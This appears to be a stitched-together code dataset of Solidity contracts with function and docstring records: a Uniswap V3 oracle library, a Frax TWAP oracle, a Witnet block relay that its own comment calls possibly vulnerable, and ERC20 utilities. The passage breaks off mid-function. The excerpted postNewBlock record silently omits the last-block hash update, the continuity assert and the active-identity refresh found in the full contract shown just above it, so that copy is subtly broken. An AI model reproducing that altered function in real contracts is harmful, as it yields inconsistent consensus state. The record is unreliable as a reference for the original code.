prevSecondsPerLiquidityCumulativeX128, bool prevInitialized ) = IUniswapV3Pool(pool).observations(prevIndex); require(prevInitialized, 'ONI'); uint32 delta = observationTimestamp - prevObservationTimestamp; tick = int24((tickCumulative - prevTickCumulative) / int56(int32(delta))); uint128 liquidity = uint128( (uint192(delta) * type(uint160).max) / (uint192(secondsPerLiquidityCumulativeX128 - prevSecondsPerLiquidityCumulativeX128) << 32) ); return (tick, liquidity); } /// @notice Information for calculating a weighted arithmetic mean tick struct WeightedTickData { int24 tick; uint128 weight; } /// @notice Given an array of ticks and weights, calculates the weighted arithmetic mean tick /// @param weightedTickData An array of ticks and weights /// @return weightedArithmeticMeanTick The weighted arithmetic mean tick /// @dev Each entry of `weightedTickData` should represents ticks from pools with the same underlying pool tokens. If they do not, /// extreme care must be taken to ensure that ticks are comparable (including decimal differences). /// @dev Note that the weighted arithmetic mean tick corresponds to the weighted geometric mean price. function getWeightedArithmeticMeanTick(WeightedTickData[] memory weightedTickData) internal pure returns (int24 weightedArithmeticMeanTick) { // Accumulates the sum of products between each tick and its weight int256 numerator; // Accumulates the sum of the weights uint256 denominator; // Products fit in 152 bits, so it would take an array of length ~2**104 to overflow this logic for (uint256 i; i < weightedTickData.length; i++) { numerator += weightedTickData[i].tick * int256(int128(weightedTickData[i].weight)); denominator += weightedTickData[i].weight; } weightedArithmeticMeanTick = int24(numerator / int256(denominator)); // Always round to negative infinity if (numerator < 0 && (numerator % int256(denominator) != 0)) weightedArithmeticMeanTick--; } /// @notice Returns the "synthetic" tick which represents the price of the first entry in `tokens` in terms of the last /// @dev Useful for calculating relative prices along routes. /// @dev There must be one tick for each pairwise set of tokens. /// @param tokens The token contract addresses /// @param ticks The ticks, representing the price of each token pair in `tokens` /// @return syntheticTick The synthetic tick, representing the relative price of the outermost tokens in `tokens` function getChainedPrice(address[] memory tokens, int24[] memory ticks) internal pure returns (int256 syntheticTick) { require(tokens.length - 1 == ticks.length, 'DL'); for (uint256 i = 1; i <= ticks.length; i++) { // check the tokens for address sort order, then accumulate the // ticks into the running synthetic tick, ensuring that intermediate tokens "cancel out" tokens[i - 1] < tokens[i] ? syntheticTick += ticks[i - 1] : syntheticTick -= ticks[i - 1]; } } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Oracle/UniV3TWAPOracle.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================= UniV3TWAPOracle ========================== // ==================================================================== // Wraps the in-built UniV3 pool's oracle with the Chainlink-style interface // Outputs a price in 1e18 // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) contract UniV3TWAPOracle is Owned { using SafeMath for uint256; // Core address public timelock_address; IUniswapV3Pool public pool; ERC20 public token0; ERC20 public token1; // AggregatorV3Interface stuff uint8 public decimals; // For Chainlink mocking string public description; uint256 public version = 1; // Misc uint32 public lookback_secs = 300; // 5 minutes bool public price_in_token0 = false; // can flip the order of the pricing /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _creator_address, address _timelock_address, address _pool_address, uint8 _decimals, string memory _description ) Owned(_creator_address) { timelock_address = _timelock_address; // Core pool = IUniswapV3Pool(_pool_address); token0 = ERC20(pool.token0()); token1 = ERC20(pool.token1()); // Make sure both are E18, until you fix this require ((token0.decimals() == 18) && (token1.decimals() == 18), 'Must both be 18 decs'); // Chainlink mocking related decimals = _decimals; description = _description; } /* ========== VIEWS ========== */ function token_symbols() external view returns (string memory base, string memory pricing) { if (price_in_token0) { base = token1.symbol(); pricing = token0.symbol(); } else { base = token0.symbol(); pricing = token1.symbol(); } } // In E18 function getPrecisePrice() public view returns (uint256 amount_out) { // Get the average price tick first (int24 arithmeticMeanTick, ) = OracleLibrary.consult(address(pool), lookback_secs); // Get the quote for selling 1 unit of a token. Assumes 1e18 for both. if (price_in_token0) { amount_out = OracleLibrary.getQuoteAtTick(arithmeticMeanTick, 1e18, address(token1), address(token0)); } else { amount_out = OracleLibrary.getQuoteAtTick(arithmeticMeanTick, 1e18, address(token0), address(token1)); } } // In E6 function getPrice() public view returns (uint256) { return getPrecisePrice() / 1e12; } // AggregatorV3Interface / Chainlink compatibility function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return (0, int256(getPrecisePrice()), 0, block.timestamp, 0); } /* ========== RESTRICTED FUNCTIONS ========== */ function setTimelock(address _new_timelock_address) external onlyByOwnGov { timelock_address = _new_timelock_address; } // Convenience function function increaseObservationCardinality(uint16 _num_cardinals) external onlyByOwnGov { pool.increaseObservationCardinalityNext(_num_cardinals); } function setTWAPLookbackSec(uint32 _secs) external onlyByOwnGov { lookback_secs = _secs; } function toggleTokenForPricing() external onlyByOwnGov { price_in_token0 = !price_in_token0; } }
Given a pool, it returns the tick value as of the start of the current block pool Address of Uniswap V3 pool return The tick that the pool was in at the start of the current block 2 observations are needed to reliably calculate the block starting tick If the latest observation occurred in the past, then no tick-changing trades have happened in this block therefore the tick in `slot0` is the same as at the beginning of the current block. We don't need to check if this observation is initialized - it is guaranteed to be.
function getBlockStartingTickAndLiquidity(address pool) internal view returns (int24, uint128) { (, int24 tick, uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0(); require(observationCardinality > 1, 'NEO'); (uint32 observationTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, ) = IUniswapV3Pool(pool).observations(observationIndex); if (observationTimestamp != uint32(block.timestamp)) { return (tick, IUniswapV3Pool(pool).liquidity()); } uint256 prevIndex = (uint256(observationIndex) + observationCardinality - 1) % observationCardinality; ( uint32 prevObservationTimestamp, int56 prevTickCumulative, uint160 prevSecondsPerLiquidityCumulativeX128, bool prevInitialized ) = IUniswapV3Pool(pool).observations(prevIndex); require(prevInitialized, 'ONI'); uint32 delta = observationTimestamp - prevObservationTimestamp; tick = int24((tickCumulative - prevTickCumulative) / int56(int32(delta))); uint128 liquidity = uint128( (uint192(delta) * type(uint160).max) / (uint192(secondsPerLiquidityCumulativeX128 - prevSecondsPerLiquidityCumulativeX128) << 32) ); return (tick, liquidity); }
2,091,443
// SPDX-License-Identifier: MIT /* solhint-disable max-states-count*/ pragma solidity 0.6.12; import "./ActiveBridgeSetInterface.sol"; import "./BlockRelayInterface.sol"; /** * @title Active Bridge Set Block relay contract * @notice Contract to store/read block headers from the Witnet network, implements BFT Finality bsaed on the Active Bridge Set (ABS) * @dev More information can be found here https://github.com/witnet/research/blob/master/bridge/docs/BFT_finality.md * DISCLAIMER: this is a work in progress, meaning the contract could be voulnerable to attacks * @author Witnet Foundation */ contract ActiveBridgeSetBlockRelay is BlockRelayInterface { struct MerkleRoots { // Hash of the merkle root of the DRs in Witnet uint256 drHashMerkleRoot; // Hash of the merkle root of the tallies in Witnet uint256 tallyHashMerkleRoot; // Hash of the vote that this block extends uint256 previousVote; // Address of the relayer address relayerAddress; } struct Beacon { // Hash of the last block uint256 blockHash; // Epoch of the last block uint256 epoch; } // Struct with the hashes of a votation struct Hashes { uint256 blockHash; uint256 drMerkleRoot; uint256 tallyMerkleRoot; uint256 previousVote; uint256 epoch; } struct VoteInfo { // Information of a Block Candidate uint256 numberOfVotes; Hashes voteHashes; } // Array with the votes for the proposed blocks uint256[] public candidates; // Array with the members of the ABS that have proposed a block address[] public absProposingMembers; // Initializes the block with the maximum number of votes uint256 public winnerVote; uint256 public winnerId; uint256 public winnerDrMerkleRoot; uint256 public winnerTallyMerkleRoot; uint256 public winnerEpoch; // Needed for the constructor uint256 public witnetGenesis; uint256 public epochSeconds; uint256 public firstBlock; // Initializes the current epoch and the epoch in which it is valid to propose blocks uint256 public currentEpoch; uint256 public proposalEpoch; // Initializes the active identities in the ABS uint256 public activeIdentities; // Witnet address address public witnet; ActiveBridgeSetInterface internal wbi; // Last block reported Beacon public lastBlock; // Map a vote proposed to the number of votes received and its hashes mapping(uint256=> VoteInfo) internal voteInfo; // Map the hash of the block to the merkle roots and the previousVote it extends mapping (uint256 => MerkleRoots) public blocks; // Map an epoch to the finalized blockHash mapping(uint256 => uint256) internal epochFinalizedBlock; // Map an address to the epoch when proposing a block mapping(address => uint256) internal addressEpoch; // Ensure block exists modifier blockExists(uint256 _id){ require(blocks[_id].drHashMerkleRoot!=0, "Non-existing block"); _; } // Ensure block does not exist modifier blockDoesNotExist(uint256 _id){ require(blocks[_id].drHashMerkleRoot==0, "The block already existed"); _; } // Ensure that neither Poi nor PoE are allowed if the epoch is pending modifier epochIsFinalized(uint256 _epoch){ require( (epochFinalizedBlock[_epoch] != 0), "The block has not been finalized"); _; } // Ensure that the msg.sender is in the abs modifier isAbsMember(address _address){ require(wbi.absIsMember(_address) == true, "Not a member of the abs"); _; } // Only the owner should be able to push blocks modifier isOwner() { require(msg.sender == witnet, "Sender not authorized"); // If it is incorrect here, it reverts. _; // Otherwise, it continues. } // Ensure the epoch for which the block is been proposed is valid // Valid if it is one epoch before the current epoch modifier epochValid(uint256 _epoch){ currentEpoch = updateEpoch(); if (proposalEpoch == 0) { proposalEpoch = currentEpoch; } require(currentEpoch - 1 == _epoch, "Proposing a block for a non valid epoch"); _; } constructor( uint256 _witnetGenesis, uint256 _epochSeconds, uint256 _firstBlock, address _wbiAddress) public{ // Set the first epoch in Witnet plus the epoch duration when deploying the contract witnetGenesis = _witnetGenesis; epochSeconds = _epochSeconds; firstBlock = _firstBlock; wbi = ActiveBridgeSetInterface(_wbiAddress); witnet = msg.sender; } /// @dev Retrieve the requests-only merkle root hash that was reported for a specific block header. /// @param _blockHash Hash of the block header /// @return Requests-only merkle root hash in the block header. function readDrMerkleRoot(uint256 _blockHash) external view blockExists(_blockHash) returns(uint256) { return blocks[_blockHash].drHashMerkleRoot; } /// @dev Retrieve the tallies-only merkle root hash that was reported for a specific block header. /// @param _blockHash Hash of the block header. /// @return tallies-only merkle root hash in the block header. function readTallyMerkleRoot(uint256 _blockHash) external view blockExists(_blockHash) returns(uint256) { return blocks[_blockHash].tallyHashMerkleRoot; } /// @dev Verifies if the contract is upgradable. /// @return true if the contract upgradable. function isUpgradable(address _address) external view override returns(bool) { if (_address == witnet) { return true; } return false; } /// @dev Read the beacon of the last block inserted /// @return bytes to be signed by bridge nodes function getLastBeacon() external view override returns(bytes memory) { return abi.encodePacked(lastBlock.blockHash, lastBlock.epoch); } /// @notice Returns the lastest epoch reported to the block relay. /// @return epoch function getLastEpoch() external view override returns(uint256) { return lastBlock.epoch; } /// @notice Returns the latest hash reported to the block relay /// @return blockhash function getLastHash() external view override returns(uint256) { return lastBlock.blockHash; } /// @dev Verifies the validity of a PoI against the DR merkle root /// @param _poi the proof of inclusion as [sibling1, sibling2,..] /// @param _blockHash the blockHash /// @param _index the index in the merkle tree of the element to verify /// @param _element the leaf to be verified /// @return true or false depending the validity function verifyDrPoi( uint256[] calldata _poi, uint256 _blockHash, uint256 _index, uint256 _element) external view override blockExists(_blockHash) epochIsFinalized(currentEpoch) returns(bool) { uint256 drMerkleRoot = blocks[_blockHash].drHashMerkleRoot; return(verifyPoi( _poi, drMerkleRoot, _index, _element)); } /// @dev Verifies the validity of a PoI against the tally merkle root /// @param _poi the proof of inclusion as [sibling1, sibling2,..] /// @param _blockHash the blockHash /// @param _index the index in the merkle tree of the element to verify /// @param _element the element /// @return true or false depending the validity function verifyTallyPoi( uint256[] calldata _poi, uint256 _blockHash, uint256 _index, uint256 _element) external view override blockExists(_blockHash) returns(bool) { uint256 tallyMerkleRoot = blocks[_blockHash].tallyHashMerkleRoot; return(verifyPoi( _poi, tallyMerkleRoot, _index, _element)); } /// @dev Retrieve address of the relayer that relayed a specific block header. /// @param _blockHash Hash of the block header. /// @return address of the relayer. function readRelayerAddress(uint256 _blockHash) external view override blockExists(_blockHash) returns(address) { return blocks[_blockHash].relayerAddress; } /// @dev Proposes a block into the block relay /// @param _blockHash Hash of the block header /// @param _epoch Epoch for which the block is proposed /// @param _drMerkleRoot Merkle root belonging to the data requests /// @param _tallyMerkleRoot Merkle root belonging to the tallies /// @param _previousVote Hash of block's hashes proposed in a previous epoch function proposeBlock( uint256 _blockHash, uint256 _epoch, uint256 _drMerkleRoot, uint256 _tallyMerkleRoot, uint256 _previousVote ) external epochValid(_epoch) isAbsMember(msg.sender) blockDoesNotExist(_blockHash) returns(bytes32) { // Check if a msg.sender has already proposed for this epoch require(addressEpoch[msg.sender] < _epoch, "Already proposed a block"); if (addressEpoch[msg.sender] == 0) { absProposingMembers.push(msg.sender); } addressEpoch[msg.sender] = _epoch; // If the porposal epoch chancges try to post the block with more votes if (currentEpoch > proposalEpoch) { // If consensus is achieved, call postNewBlock if (3 * voteInfo[winnerVote].numberOfVotes >= 2 * activeIdentities) { // If it has achieved consensus, post the block postNewBlock( winnerVote, winnerId, winnerEpoch, winnerDrMerkleRoot, winnerTallyMerkleRoot, voteInfo[winnerVote].voteHashes.previousVote); } // Set the winner values to 0 winnerVote = 0; winnerId = 0; winnerEpoch = 0; winnerDrMerkleRoot = 0; winnerTallyMerkleRoot = 0; // Update the proposal epoch proposalEpoch = currentEpoch; } // Hash of the elements of the vote uint256 vote = uint256( sha256( abi.encodePacked( _blockHash, _epoch, _drMerkleRoot, _tallyMerkleRoot, _previousVote))); if (voteInfo[vote].numberOfVotes == 0) { // Add the vote to candidates candidates.push(vote); // Mapping the vote into its hashes voteInfo[vote].voteHashes.blockHash = _blockHash; voteInfo[vote].voteHashes.drMerkleRoot = _drMerkleRoot; voteInfo[vote].voteHashes.tallyMerkleRoot = _tallyMerkleRoot; voteInfo[vote].voteHashes.previousVote = _previousVote; voteInfo[vote].voteHashes.epoch = _epoch; } // Sum one vote voteInfo[vote].numberOfVotes += 1; // If needed, update the block that has more votes if (vote != winnerVote) { // Set as new winner if it has more votes if (voteInfo[vote].numberOfVotes > voteInfo[winnerVote].numberOfVotes) { winnerVote = vote; winnerId = _blockHash; winnerEpoch = _epoch; winnerDrMerkleRoot = _drMerkleRoot; winnerTallyMerkleRoot = _tallyMerkleRoot; } } return bytes32(vote); } /// @dev Updates the epoch function updateEpoch() public view virtual returns(uint256) { // solhint-disable-next-line not-rely-on-time return (block.timestamp - witnetGenesis)/epochSeconds; } /// @dev Post new block into the block relay /// @param _vote Vote created when the block was proposed /// @param _blockHash Hash of the block headerPost /// @param _epoch Witnet epoch to which the block belongs to /// @param _drMerkleRoot Merkle root belonging to the data requests /// @param _tallyMerkleRoot Merkle root belonging to the tallies /// @param _previousVote Hash of block's hashes proposed in the previous epoch function postNewBlock( uint256 _vote, uint256 _blockHash, uint256 _epoch, uint256 _drMerkleRoot, uint256 _tallyMerkleRoot, uint256 _previousVote) private blockDoesNotExist(_blockHash) { // Map the epoch to the vote's Hashes epochFinalizedBlock[_epoch] = voteInfo[_vote].voteHashes.blockHash; blocks[_blockHash].drHashMerkleRoot = _drMerkleRoot; blocks[_blockHash].tallyHashMerkleRoot = _tallyMerkleRoot; blocks[_blockHash].relayerAddress = msg.sender; blocks[_blockHash].previousVote = _previousVote; // Select previous vote and corresponding epoch and blockHash uint256 previousVote = blocks[epochFinalizedBlock[_epoch]].previousVote; uint256 epoch = voteInfo[_previousVote].voteHashes.epoch; uint256 previousBlockHash = voteInfo[previousVote].voteHashes.blockHash; uint256 lastEpoch = lastBlock.epoch; // Finalize the previous votes when the corresponding epochs are bigger than the last finalized epoch while (epoch > lastEpoch) { epochFinalizedBlock[epoch] = previousBlockHash; // Map the block hash to its hashes blocks[previousBlockHash].drHashMerkleRoot = voteInfo[previousVote].voteHashes.drMerkleRoot; blocks[previousBlockHash].tallyHashMerkleRoot = voteInfo[previousVote].voteHashes.tallyMerkleRoot; blocks[previousBlockHash].previousVote = voteInfo[previousVote].voteHashes.previousVote; // Update previousVote, epoch and previousBlockHash previousVote = voteInfo[previousVote].voteHashes.previousVote; epoch = voteInfo[previousVote].voteHashes.epoch; previousBlockHash = voteInfo[previousVote].voteHashes.blockHash; } // Assert the concatenation of blocks ends in the right epoch with the right blockHash assert(epoch == lastBlock.epoch && previousBlockHash == lastBlock.blockHash); // Post the last block lastBlock.blockHash = _blockHash; lastBlock.epoch = _epoch; uint256 candidatesLength = candidates.length; // Delete the condidates array so its empty for next epoch for (uint i = 0; i < candidatesLength; i++) { delete voteInfo[candidates[i]].voteHashes; } delete candidates; // Redefine the blockHash and the epoch so it is not deleted when finalized voteInfo[_vote].voteHashes.blockHash = _blockHash; voteInfo[_vote].voteHashes.epoch = _epoch; uint256 proposingMembersLength = absProposingMembers.length; // Delete the ABS members from the list of proposing members for (uint i = 0; i < proposingMembersLength; i++) { delete addressEpoch[absProposingMembers[i]]; } delete absProposingMembers; // Update the ABS activity once finalized activeIdentities = wbi.absCount(); } /// @dev Verifies the validity of a PoI /// @param _poi the proof of inclusion as [sibling1, sibling2,..] /// @param _root the merkle root /// @param _index the index in the merkle tree of the element to verify /// @param _element the leaf to be verified /// @return true or false depending the validity function verifyPoi( uint256[] memory _poi, uint256 _root, uint256 _index, uint256 _element) private pure returns(bool) { uint256 tree = _element; uint256 index = _index; // We want to prove that the hash of the _poi and the _element is equal to _root // For knowing if concatenate to the left or the right we check the parity of the the index for (uint i = 0; i < _poi.length; i++) { if (index%2 == 0) { tree = uint256(sha256(abi.encodePacked(tree, _poi[i]))); } else { tree = uint256(sha256(abi.encodePacked(_poi[i], tree))); } index = index >> 1; } return _root == tree; } }
Post new block into the block relay _vote Vote created when the block was proposed _blockHash Hash of the block headerPost _epoch Witnet epoch to which the block belongs to _drMerkleRoot Merkle root belonging to the data requests _tallyMerkleRoot Merkle root belonging to the tallies _previousVote Hash of block's hashes proposed in the previous epoch Map the epoch to the vote's Hashes Select previous vote and corresponding epoch and blockHash Finalize the previous votes when the corresponding epochs are bigger than the last finalized epoch Map the block hash to its hashes Update previousVote, epoch and previousBlockHash Delete the condidates array so its empty for next epoch Delete the ABS members from the list of proposing members
function postNewBlock( uint256 _vote, uint256 _blockHash, uint256 _epoch, uint256 _drMerkleRoot, uint256 _tallyMerkleRoot, uint256 _previousVote) private blockDoesNotExist(_blockHash) { epochFinalizedBlock[_epoch] = voteInfo[_vote].voteHashes.blockHash; blocks[_blockHash].drHashMerkleRoot = _drMerkleRoot; blocks[_blockHash].tallyHashMerkleRoot = _tallyMerkleRoot; blocks[_blockHash].relayerAddress = msg.sender; blocks[_blockHash].previousVote = _previousVote; uint256 previousVote = blocks[epochFinalizedBlock[_epoch]].previousVote; uint256 epoch = voteInfo[_previousVote].voteHashes.epoch; uint256 previousBlockHash = voteInfo[previousVote].voteHashes.blockHash; uint256 lastEpoch = lastBlock.epoch; while (epoch > lastEpoch) { epochFinalizedBlock[epoch] = previousBlockHash; blocks[previousBlockHash].drHashMerkleRoot = voteInfo[previousVote].voteHashes.drMerkleRoot; blocks[previousBlockHash].tallyHashMerkleRoot = voteInfo[previousVote].voteHashes.tallyMerkleRoot; blocks[previousBlockHash].previousVote = voteInfo[previousVote].voteHashes.previousVote; previousVote = voteInfo[previousVote].voteHashes.previousVote; epoch = voteInfo[previousVote].voteHashes.epoch; previousBlockHash = voteInfo[previousVote].voteHashes.blockHash; } lastBlock.epoch = _epoch; uint256 candidatesLength = candidates.length; for (uint i = 0; i < candidatesLength; i++) { delete voteInfo[candidates[i]].voteHashes; } delete candidates; voteInfo[_vote].voteHashes.epoch = _epoch; uint256 proposingMembersLength = absProposingMembers.length; for (uint i = 0; i < proposingMembersLength; i++) { delete addressEpoch[absProposingMembers[i]]; } delete absProposingMembers; }
12,760,102
// File: contracts/assets/TokenBankInterface.sol pragma solidity >=0.4.21 <0.6.0; contract TokenBankInterface{ function issue(address token_addr, address payable _to, uint _amount) public returns (bool success); } // File: contracts/utils/Ownable.sol pragma solidity >=0.4.21 <0.6.0; contract Ownable { address private _contract_owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _contract_owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _contract_owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_contract_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_contract_owner, newOwner); _contract_owner = newOwner; } } // File: contracts/erc20/IERC20.sol pragma solidity >=0.4.21 <0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/SafeMath.sol pragma solidity >=0.4.21 <0.6.0; library SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a, "add"); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a, "sub"); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "mul"); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0, "div"); c = a / b; } } // File: contracts/utils/Address.sol pragma solidity >=0.4.21 <0.6.0; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts/erc20/SafeERC20.sol pragma solidity >=0.4.21 <0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeSub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/utils/AddressArray.sol pragma solidity >=0.4.21 <0.6.0; library AddressArray{ function exists(address[] memory self, address addr) public pure returns(bool){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return true; } } return false; } function index_of(address[] memory self, address addr) public pure returns(uint){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return i; } } require(false, "AddressArray:index_of, not exist"); } function remove(address[] storage self, address addr) public returns(bool){ uint index = index_of(self, addr); self[index] = self[self.length - 1]; delete self[self.length-1]; self.length--; return true; } } // File: contracts/erc20/ERC20Impl.sol pragma solidity >=0.4.21 <0.6.0; contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes memory _data ) public; } contract TransferEventCallBack{ function onTransfer(address _from, address _to, uint256 _amount) public; } contract ERC20Base { string public name; //The Token's name: e.g. GTToken uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "AET_0.1"; //An arbitrary versioning scheme using AddressArray for address[]; address[] public transferListeners; //////////////// // Events //////////////// event Transfer(address indexed _from, address indexed _to, uint256 _amount); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); event NewTransferListener(address _addr); event RemoveTransferListener(address _addr); /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned ERC20Base public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) public balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] public totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; //////////////// // Constructor //////////////// /// @notice Constructor to create a ERC20Base /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( ERC20Base _parentToken, uint _parentSnapShotBlock, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, bool _transfersEnabled ) public { name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != address(0)) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false uint256 previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce 